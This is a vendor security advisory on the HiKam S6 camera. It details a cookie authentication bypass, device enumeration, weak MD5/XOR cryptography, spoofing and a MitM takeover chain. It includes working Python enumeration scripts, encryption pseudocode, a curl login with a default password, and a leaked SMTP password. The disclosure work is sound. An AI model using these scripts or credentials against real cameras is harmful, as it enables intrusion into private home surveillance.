Authored by Gerhard Hechenberger, S. Robertz | Site sec-consult.com

High Infinity Technology HiKam S6 versions 1.3.26 and below suffer from broken authentication, enumeration, message protocol downgrade, insufficient use of cryptography, insufficient message protocol checks, device spoofing, outdated components, and weak default credential vulnerabilities. suffers from bypass, man-in-the-middle, and spoofing vulnerabilities.

SEC Consult Vulnerability Lab Security Advisory < 20211004-0 >
=======================================================================
title: Multiple Critical Vulnerabilities
product: High Infinity Technology HiKam S6
vulnerable version: <=1.3.26
fixed version:
CVE number:
impact: Critical
homepage: https://hikam.de/
found: 2021-02-16
by: S. Robertz (Office Vienna)
G. Hechenberger (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult, an Atos company
Europe | Asia | North America

https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
(German) "Die High Infinity Technology GmbH ist ein führendes Unternehmen im
Bereich der Videoüberwachungs- und Heimsicherheits-Technologie.
Wir machen Ihnen ihr Leben mit durchdachter Technik leichter: Zuverlässige
Hardware, benutzerfreundliche Software, verbunden mit einfacher Einrichtung
und kundenorientiertem technischem Support mache es möglich.
Wir machen Ihr Zuhause sicherer. Sie haben es stets im Blick. Einbrecher
haben keine Chance. Sie werden schon im Vorfeld durch unsere Kameras
abgeschreckt. Wagt es dennoch jemand einzudringen, werden Sie in Echtzeit
informiert und können sofort handeln."

Source: https://www.facebook.com/notes/305994643212713/


Business recommendation:
------------------------
SEC Consult recommends High Infinity Technology GmbH's customers to upgrade
the firmware to the latest version available.

A thorough security review should be performed by security professionals to
identify further security issues.


Vulnerability overview/description:
-----------------------------------
1) Broken Authentication Web Interface
The web interface in older firmware versions can be used to configure the
camera. The login can easily be bypassed by setting a cookie with the value
"admin". The cookie's name can be found in the JavaScript code and thus is only
protecting the UI and not the interface. However, since firmware 1.3.21 for the
HiKam S6, the UI is no longer accessible by just setting a cookie. Bypassing
the authentication allows an attacker to make changes to the camera settings
and to upload malicious firmware updates in order to take full control of the
camera.

2) Enumeration of all customer Cloud Devices and LAN/WAN IPs
The cameras use consecutively ascending, 6-digit serial numbers, printed on a
sticker on the back of the device. The corresponding UUID needed to make
requests to the P2P cloud does not need to be calculated and can simply be
requested at a specific server. Knowing the UUID, the P2P server can now be
queried for the internal and external IPs of the cameras located in private
networks behind NAT and additional attacks on devices can be executed
(see issue 6). By mapping IPs to geolocations, cameras in specific regions can
be attacked.

3) Message Protocol Downgrade
The camera is communicating with its App by using a P2P infrastructure. The
messages used to register the camera at the P2P server are sent encrypted.
However, by sending unencrypted messages, a protocol downgrade to unencrypted
login messages can be achieved. This will make it easier for an attacker to
spoof communication, as less time is required for reverse-engineering of the
protocol.

4) Insufficient use of Cryptography
The camera does use weak cryptography. Passwords are being transmitted as MD5
hashes. These can be cracked within minutes on modern hardware (ca 65079.1 MH/s
using a nVidia 3090 GPU).
If a camera connects to the P2P server, the login request is encrypted. This
encryption is based on an XOR key and can be easily reversed. Thus, the login
message can be spoofed by an attacker. This can lead to an MitM attack as
explained in vulnerability 6.

5) Insufficient Message Protocol Checks
Commands are differentiated by a message ID field in the packet header. Packets
that require authentication will use a specific salt per message type. After
the packet is transmitted, the salt ID is increased. Hence, intercepted
password hashes should not be reusable, as a different salt ID should be
expected for the next packet. However, the salt is transferred in a separate
field. It is never verified, that the salt ID matches the message type or the
current salt increment. Thus, we were able to reuse intercepted salted
passwords for arbitrary messages.

6) Device Spoofing
The camera is communicating with its App by using a P2P infrastructure. To
register on a server of this infrastructure, only a valid ID is required. This
leads to the possibility to spoof a camera device and to receive all messages
intended for the original device. Together with vulnerabilities 2,3,4 and 5,
this enables MitM attacks in WAN against camera devices.

7) Outdated Software Components
Outdated and vulnerable software components were found on the device during a
quick examination with IoT Inspector.

8) Weak default credentials for Gwelltimes P2P accounts
HiKam is using parts of the Gwelltimes cloud [1]. When an account is created
within the HiKam or HiKam Pro app, a Gwelltimes account is created as well. All
of these accounts use an increasing ID as username and a static password of
"123456789" which can not be changed in the app.

[1] SEC Consult already published security concerns regarding Gwelltimes in the
past:
https://sec-consult.com/blog/detail/true-story-the-case-of-a-hacked-baby-monitor-gwelltimes-p2p-cloud/

9) Leak of HiKam's SMTP credentials
When an alarm is triggered, the camera can send an email notification. For this
purpose, the camera will connect to HiKam's SMTP server and thus stores its
credentials. This information gets printed to the debug output on the UART. An
attacker could use this password to send spam or phishing emails to HiKam
customers. As the sender is valid and usually indicates that an alarm was
triggered, it is very likely for the recipient to open the email and attached
files.


Proof of concept:
-----------------
1) Broken Authentication Web Interface
The webinterface can be accessed within the local network. Creating a cookie
with the name "HiKam_Web_Session" and the value "admin" will bypass
authentication and full access is granted to the web interface. From here, a
malicious firmware update file could be installed.


2) Enumeration of all customer Cloud Devices and LAN/WAN IPs
The UUID needed has the following format: EUA-123456-XXXXX.
The first part is a static prefix, the second the serial number and the third
is a checksum. Given a serial number (UID), the UUID can be requested by
sending a UDP request packet to xx.xx.xx.xx:8821.

header:
magic number: 0x5a5a5a5a
unknown_block1: 15 Bytes
message_type: 1 Byte
unknown_block2: 2 Bytes
message_length: 2 Bytes
payload:
UID: 7 Bytes

unknown_block1 seems to implement some sort of sequence number and a further
message ID, as multiple different messages can be observed with a message_type
of 0x00. The UID will always start with AXXXXXX and is written on the back of
the camera. IDs starting with A are part of the 2nd generation of HiKam
cameras. Only these can be discovered.

The response of the P2P server follows this scheme. But instead of the UID, it
will return a 16 Byte UUID.

The following Python code shows how to generate such a request packet for
serial 123456 and how to parse the UUID from the response:
-------------------------------------------------------------------------------
DST_ADDR = "xxx.xxx.xxx.xxx"
DST_PORT = 8821

PACKET_1 = b'x5ax5ax5ax5ax00x00x00x02x00x00x10x2dx00x00x00x00x00x00x00x00x00x00x00x38x41'
PACKET_2 = b'x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
START_ID = 123456
PACKET = PACKET_1 + str.encode("{:06}".format(START_ID)) + PACKET_2

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
sock.sendto(PACKET, (DST_ADDR, DST_PORT))

data, address = sock.recvfrom(88)
uuid = data[24:40].decode()
if str(START_ID) not in uuid:
raise ValueError("No valid UUID received from Server")
else:
print(data[24:40].decode())
-------------------------------------------------------------------------------

After the correct UUID for a UID is obtained, it can be used to request the
internal and external IP addresses of this camera.


Afterwards, a message of type P2P_REQ (P2P Request) can be sent to the P2P
server. It will respond with the internal and external IP of the camera that is
being requested.

The packet has the following form:
pppp-header:
magic number: 0xf1 (1 Byte)
message type: 0x20 (1 Byte)
message length: 0x0024 (2 Byte)
modified_uid: 17 Bytes
unknown (PACKET_2): 5 Bytes
port: 2 Bytes
local_ip: 4 Bytes
padding (PACKET_3): 8 Bytes

Following Python code will send such a request for a given UID:
-------------------------------------------------------------------------------
DST = "xxx.xxx.xxx.xxx"
DST_PORT = 32100
hicam_uuid = "EUA-123456-XXXXX"
uuid = hicam_uuid.split('-')

PACKET_1 = b"xf1x20x00x24"
PREFIX = uuid[0].encode()
ID = int(uuid[1])
CHECKSUM = uuid[2].encode()
PACKET_2 = b"x00x00x00x00x02"
PORT = 10419
IP = [10, 10, 1, 9]
PACKET_3 = b"x00x00x00x00x00x00x00x00"

IP.reverse()

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(0.5)
PACKET = PACKET_1 +
PREFIX +
ID.to_bytes(9, 'big') +
CHECKSUM +
PACKET_2 +
PORT.to_bytes(2, 'little') +
bytes(IP) +
PACKET_3

sock.sendto(PACKET, (DST, DST_PORT))
ips = []
for i in range(0, 3):
try:
data = sock.recv(1024)
except socket.timeout:
raise TimeoutError("No packets received in time")
if data[1] == 33: # b'x21':
pass
if data[1] == 64: # b'x40':
recv_ip = [int(b) for b in bytearray(data[8:12])]
recv_ip.reverse()
ips.append("{}.{}.{}.{}:{}".format(recv_ip[0], recv_ip[1], recv_ip[2], recv_ip[3], int.from_bytes(data[6:8], 'little')))
print(ips[0], ips[1])
-------------------------------------------------------------------------------

Using these functions, we managed to discover around 26000 active cameras
during the time of the research.


3) Message Protocol Downgrade
The camera sends a login message to the P2P server. Usually, this message is
encrypted, as explained in issue 4. However, we found a very similar function
signature to the encrypted login message in the HiKam binaries. From here on,
we'll call the encrypted function "send_msg_dev_lgn_crc()" and the unencrypted
message "send_msg_dev_lgn()".

The only difference between both functions is, that send_msg_dev_lgn() skips
the encryption function call. In order to confirm this theory, we patched the
send_msg_dev_lgn_crc() function call to point to send_msg_dev_lgn().
A wireshark log confirmed, that all parameters were sent unencrypted.

Furthermore, the P2P server acknowledged the login request and registered the
camera. This suggests, that a previous protocol version was not using
encryption and that this version is still supported by the P2P servers.


4) Insufficient use of Cryptography
Following password is sent for an authenticated request. It is an MD5 hash of
the password concatenated with a salt and the string "hikam". The salt value
will be explained in issue 5. Following pseudo code shows the generation of the
password has for the password "test12345":

md5("test12345:salt-id:hikam")=="fb695190edcc05d35554c18397f0e1bd"

MD5 hashes are very weak and are not recommended for any security relevant
features.

Messages that are used to connect a camera to the P2P server are based on
following scheme:

pppp-header:
magic number: 0xf1 (1 Byte length)
message type: 0x12 (1 Byte length)
message length: 0x002c (2 Byte length)
payload:
device uid: 20 Byte
NAT type: 1 Byte
API version: 3 Byte
local address: 16 Bytes
checksum: 4 Bytes

The payload will be encrypted using an XOR key, which changes based on the
previous encrypted byte and thus shows similarities to a CBC mode encryption.
Following pseudo code can be used for encryption:

-------------------------------------------------------------------------------
void update_xor(prev_byte, xor1, xor2, xor3, xor4, out1, out2, out3, out4){
uint8_t tmp_out1;
uint8_t tmp_out2;
uint8_t tmp_out3;
uint8_t tmp_out4;
uint8_t lookup[8][8] = { ... };
uint8_t column = ((xor3 % xor4) + prev_byte) & 0x7;
uint8_t row = ((prev_byte % xor1) + xor2) & 0x7;
tmp_out1 = lookup[row][column];

column = ((xor4 % xor1) + prev_byte) & 0x7;
row = ((prev_byte % xor2) + xor3) & 0x7;
tmp_out2 = lookup[row][column];

column = ((xor1 % xor2) + prev_byte) & 0x7;
row = ((prev_byte % xor3) + xor4) & 0x7;
tmp_out3 = lookup[row][column];

column = ((xor2 % xor3) + prev_byte) & 0x7;
row = ((prev_byte % xor4) + xor1) & 0x7;
tmp_out4 = lookup[row][column];

*out1 = tmp_out1;
*out2 = tmp_out2;
*out3 = tmp_out3;
*out4 = tmp_out4;
}

void encrypt_packet() {
uint8_t cleartext_packet[] = { ... };
uint8_t encrypted_packet[sizeof(cleartext_packet)+4];

uint8_t xor1 = 1;
uint8_t xor2 = 3;
uint8_t xor3 = 5;
uint8_t xor4 = 7;

for (int i=0; i<sizeof(cleartext_packet); i++){
encrypted_packet[i] = xor1 ^ xor2 ^xor3 ^ xor4 ^ cleartext_packet[i];
update_xor(encrypted_packet[i],xor1,xor2,xor3,xor4,&xor1,&xor2,&xor3,&xor4);
}

//calc cheksum
for (int i=0; i<4;i++) {
uint8_t new = xor1 ^ xor2 ^xor3 ^ xor4 ^ 0x43;
encrypted_packet[i+sizeof(cleartext_packet)] = new;
update_xor(new,xor1,xor2,xor3,xor4,&xor1,&xor2,&xor3,&xor4);
}
}
-------------------------------------------------------------------------------

5) Insufficient Message Protocol Checks
Authenticated messages send a salted password. The generation of the password
is explained in issue 4. The salt ID is specified for every message id and
calculated to following formula:
Salt-ID = CONST_MSG_SALT_ID - 1000 + number_of_previously_sent_messages

The CONST_MSG_SALT_ID can be found in the APK file under com.p2p.core.global.Constants.
From the formula, it can be derived, that the same salt should never be used
twice. Furthermore, the salt ID could be checked against the message_type field
of the packet header.

We managed to reuse intercepted passwords by simply manipulating the salt ID
field within the packet. Thus, it can be concluded that no checks for the salt
ID are in place and that the salt is simply passed into the password hash
generator function.


6) Device Spoofing
All previously explained vulnerabilities can now be chained together in order
to create a MitM attack over the internet. Following steps will be executed.
They are explained in even more detail further below.

1) Get a valid UUID for the UID that should be attacked.
2) Use the UUID to register the same ID with the P2P server.
3) Wait until the victim tries to access his camera.
4) Handle the MSG_PUNCH_TO packet received from the P2P server in order
to build a valid communication channel to the victim's app.
5) Receive the hashed password from the victim's app.
6) Wait until the original camera corrected the P2P server's records.
7) Act as phone: request connection to the original camera at the P2P
server.
8) Receive original camera's IP and punch a hole into the NAT/Firewall.
9) Reuse the intercepted password hash to change the camera's password to a
known value.
10) Use the regular app and the new password to access all camera features.
11) Optional: crack the MD5 hash and use the intercepted username to try and
access further accounts of the victim.
12) Optional: Scan for surrounding WiFi networks and locate the camera using
the WiGLE project (https://wigle.net/).

Further details:
1) Get a valid UUID for the UID that should be attacked:
Request the UUID of the device that you want to attack as explained in
issue 2.
2) Use the UUID to register the same ID with the P2P server:
Send the login request to the P2P server. This can be done either by
using the message protocol downgrade, described in issue 3 or by
encrypting the payload using the algorithm in issue 4.
The login request is part of the pppp protocol, described by Paul
Marrapese (https://hacked.camera/). It follows following form:
pppp header:
magic_number: 0xf1
message_type: 0x10
message_size: 0x0028
payload:
uuid: 20 Byte
NAT type: 1 Byte
API version: 3 Byte
IP family: 2 Byte
Port: 2 Byte
Local IP address: 4 Byte
The encrypted form will use 0x12 as message type. The P2P server will
store the IP address as current address of the camera. Thus, the real
camera is not reachable anymore.
3) Wait until the victim tries to access his camera.
4) Handle the MSG_PUNCH_TO packet received from the P2P server in order
to build a valid communication channel to the victim's app:
The P2P server will send a so called PUNCH_TO packet to the faked
camera. It will contain the IP address of the victim's phone. The faked
camera will now send dummy packets to that IP and port combination in
order to punch a hole into its firewall. The victim's phone will do the
same. Once both devices receive a packet from the device, a valid
communication channel has been established.
5) Receive the hashed password from the victim's app:
One of the first packets sent by the victim's app is the
MSG_P2PClientSdkGetAlarmPushStatus packet. It is an authenticated
request and in following form:
hikam_header:
magic number: 0x5a5a5a5a
unknown_block1: 15 Bytes
message_type: 1 Byte
unknown_block2: 2 Bytes
message_length: 2 Bytes
auth_header:
salted_md5: 32 Bytes
salt_id: 8 Bytes
Vulnerability 5 explained, how this hash can be reused in order to
authenticate further requests.
6) Wait until the original camera corrected the P2P server's records.
For further attacks we need to access the original camera again. Thus,
we have to wait until the original camera re-registers at the P2P
server. This happens roughly every minute.
7) Act as phone: request connection to the original camera at the P2P
server. We will now spoof a phone. Thus we send the MSG_P2P_REQ packet.
8) Receive original camera's IP and punch a hole into the NAT/Firewall:
The P2P Server will respond with the camera's IP and a port that should
be opened in the firewall. We will start sending dummy packets to the IP
and port in order to open the firewall. Once we receive a packet from
the camera, a communication channel has been established.
9) Reuse the intercepted password hash to change the camera's password to a
known value:
This message needs to be tunneled inside a MSG_DRW of the pppp protocol.
Thus the packet is in following form:
pppp header:
magic_number: 0xf1
message_type: 0x10
message_size: 0x0028
DRW header:
magic_num: 1 Byte
channel: 1 Byte
index: 2 Bytes
HiKam header:
magic number: 0x5a5a5a5a
unknown_block1: 15 Bytes
message_type: 1 Byte
unknown_block2: 2 Bytes
message_length: 2 Bytes
Payload:
old_pw_hash: 32 Bytes
padding: 4 Bytes
new_cleartext_pw: 36 Bytes, zero padded
salt_id: 2 Bytes
zero_padding: 6 Bytes
10) Use the regular app and the new password to access all camera features:
Use the camera's UID and the newly set password to add the camera to
your' own account. You can use all app features.
11) Optional: crack the MD5 hash and use the intercepted username to try
and access further accounts of the victim:
The salting scheme has already been discussed in section 4. The
MSG_P2PClientSdkGetAlarmPushStatus message that is intercepted from
the victim's phone also contains the username of the victim.
Hence, an attacker could try and attack the victim further using the
additional information.
12) Optional: Scan for surrounding WiFi networks and locate the camera
using the WiGLE project (https://wigle.net/):
Using the obtained access to the original camera, an attacker could
request a scan of surrounding wireless networks. Using the WiGLE
project, this information could be used to get a fairly precise
location of the device.


7) Outdated Software Components
* Busybox 1.20.2 (12 CVEs)
* hostapd 0.8.x (13 CVEs)
* Linux Kernel 3.4.35 (1208 CVEs)
* OpenSSL 0.9.8e (79 CVEs)
* uClibc 0.9.33.2 (2 CVEs)
* wpa_supplicant 0.7.3 (22 CVEs)


8) Weak default credentials for Gwelltimes P2P accounts
The camera makes following request to the cloud-links server, which is
associated with Gwelltimes.

curl -X POST -d "[email protected]"
-d "Pwd=25F9E794323B453885F5181F1B624D0B" -d "VersionFlag=1" -d "AppOS=3"
-d "AppVersion=5308417" -i http://api4.cloud-links.net/Users/LoginCheck.ashx

The server responds with a successful login:

HTTP/1.1 200
Server: nginx/1.15.3
Date: Tue, 02 Mar 2021 19:33:20 GMT
Content-Type: text/plain;charset=UTF-8
Content-Length: 285
Connection: keep-alive

{"error_code":"0","UserID":"-2107299759","P2PVerifyCode1":"1712474097",
"P2PVerifyCode2":"1322726834","Email":"appuser_<increasing-id>@hi-kam.net",
"NickName":"","CountryCode":"0","PhoneNO":"","ImageID":"0","SessionID":"2
84129651","DomainList":"","UserLevel":"0","SessionID2":"","error":"成功"}

The passsword used is the MD5 hash of the string "123456789".
Now Gwelltimes own app, "Yoosee" can be used to login. However, cameras of the
2nd generation are not accessible from here. Cameras of the first gerneration
e.g. HiKam S5, A7 were using the Gwelltimes P2P cloud and are most likely
accessible.

9) Leak of HiKam's SMTP credentials
The camera can trigger alarms based on e.g. motion. Thus, if motion is
detected, the camera will send a couple pictures to a pre-defined email address
of the owner. However, detailed information will be printed to the UART
console, which is used for debugging purposes. This information also leaks the
SMTP password for the [email protected] accout.

------email info0926------
sender: [email protected], pwd: Alert618033!
receiver: [email protected],,
server: xxx.xxx.xxx.xxx, port: 443
attach: /tmp/A100465_2021030123003003.jpg, num: 3
subject: Attention:alarm from camera 'test'(AXXXXXX:motion detection)
content: Dear User,
Please check the attached picture for more information.
ssl: 1

SEC Consult did not verify this password nor use the credentials of the SMTP
server. However, it seems very likely, as SMTP is confirmed to be running on
port 443 and the camera can be seen connecting to it and exchanging TLS
encrypted messages.


Vulnerable / tested versions:
-----------------------------
The following versions have been tested and found to be vulnerable:
HiKam S6 Firmware 1.3.21
HiKam S6 Firmware 1.3.26 (issue 1 not applicable)

It is very likely that following camera models are affected as well:
HiKam A7
HiKam A7 Pro (3rd Gen)
HiKam Q8
HiKam Q8 (3rd Gen)
Hikam R8


Vendor contact timeline:
------------------------
2021-03-12: Contacting vendor through [email protected]
2021-03-12: Support Ticket created.
2021-03-15: Vendor requests unencrypted transmission of advisory
2021-03-17: Verified that the issues still apply to the new HiKam Pro App.
2021-04-12: Requested status update from vendor; No answer.
2021-04-29: Requested status from vendor.
2021-05-07: Vendor is working on patch. However, due to Covid-19 and a
worldwide SoC shortage, more time is required. Planned release date
for patch: end 2021.
2021-05-10: Informed vendor, that in accordance with our responsible disclosure
policy, the latest date could be 2021-07-15.
2021-08-30: Requested status update and informed about release of advisory
within the next days; No answer.
2021-10-01: Informed vendor that release was shifted to 2021-10-04 due to
holidays.
2021-10-04: Public release of security advisory.

Solution:
---------
None.


Workaround:
-----------
None.

Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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EOF S. Robertz, G. Hechenberger / @2021